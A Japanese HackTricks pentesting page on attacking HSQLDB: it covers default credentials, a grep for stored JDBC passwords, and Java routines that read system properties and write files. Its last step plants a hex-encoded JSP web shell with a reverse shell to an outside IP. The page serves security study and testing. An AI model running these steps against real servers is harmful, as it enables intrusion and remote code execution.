hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

94 lines
6.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>
# 基本情報
HSQLDB[HyperSQL DataBase](http://hsqldb.org/)はJavaで書かれたリーディングSQLリレーショナルデータベースシステムです。小さく、高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、メモリ内およびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。
**デフォルトポート:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# 情報
### デフォルト設定
このサービスはデフォルトでメモリ内で実行されているか、localhostにバインドされている可能性が高いことに注意してください。これを見つけた場合、他のサービスを悪用しており、権限昇格を図っている可能性があります。
デフォルトの資格情報は通常、パスワードが空白の`sa`です。
他のサービスを悪用した場合、可能な資格情報を検索するには
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
データベース名を注意深く覚えておいてください。接続するために必要になります。
# 情報収集
HSQLDBを[ダウンロード](https://sourceforge.net/projects/hsqldb/files/)して`hsqldb/lib/hsqldb.jar`を展開し、`java -jar hsqldb.jar`を実行してGUIアプリewwを使用し、発見された/弱い認証情報を使用してDBインスタンスに接続します。
リモートシステムの場合、接続URLは次のようになります`jdbc:hsqldb:hsql://ip/DBNAME`。
# コツ
## Java言語ルーチン
HSQLDBからJavaクラスの静的メソッドをJava言語ルーチンを使用して呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパス内にある必要があります。
JRTは`functions`または`procedures`になります。Javaメソッドが一つ以上のSQL互換のプリミティブ変数を返す場合、関数はSQLステートメントを介して呼び出すことができます。これは`VALUES`ステートメントを使用して呼び出されます。
Javaメソッドがvoidを返す場合、`CALL`ステートメントで呼び出されるプロシージャを使用する必要があります。
## Javaシステムプロパティの読み取り
関数を作成する:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
実行機能:
```text
VALUES(getsystemproperty('user.name'))
```
以下は、システムプロパティの[リストをこちらで確認できます](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。
## ファイルへの内容書き込み
`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Javaガジェットを使用して、JDKにあるアプリケーションのクラスパスに自動的にロードされるカスタムプロシージャを介して、ディスクに16進数エンコードされたアイテムを書き込むことができます。**最大サイズ1024バイトに注意してください**。
プロシージャの作成:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
手順を実行する:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**githubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
</details>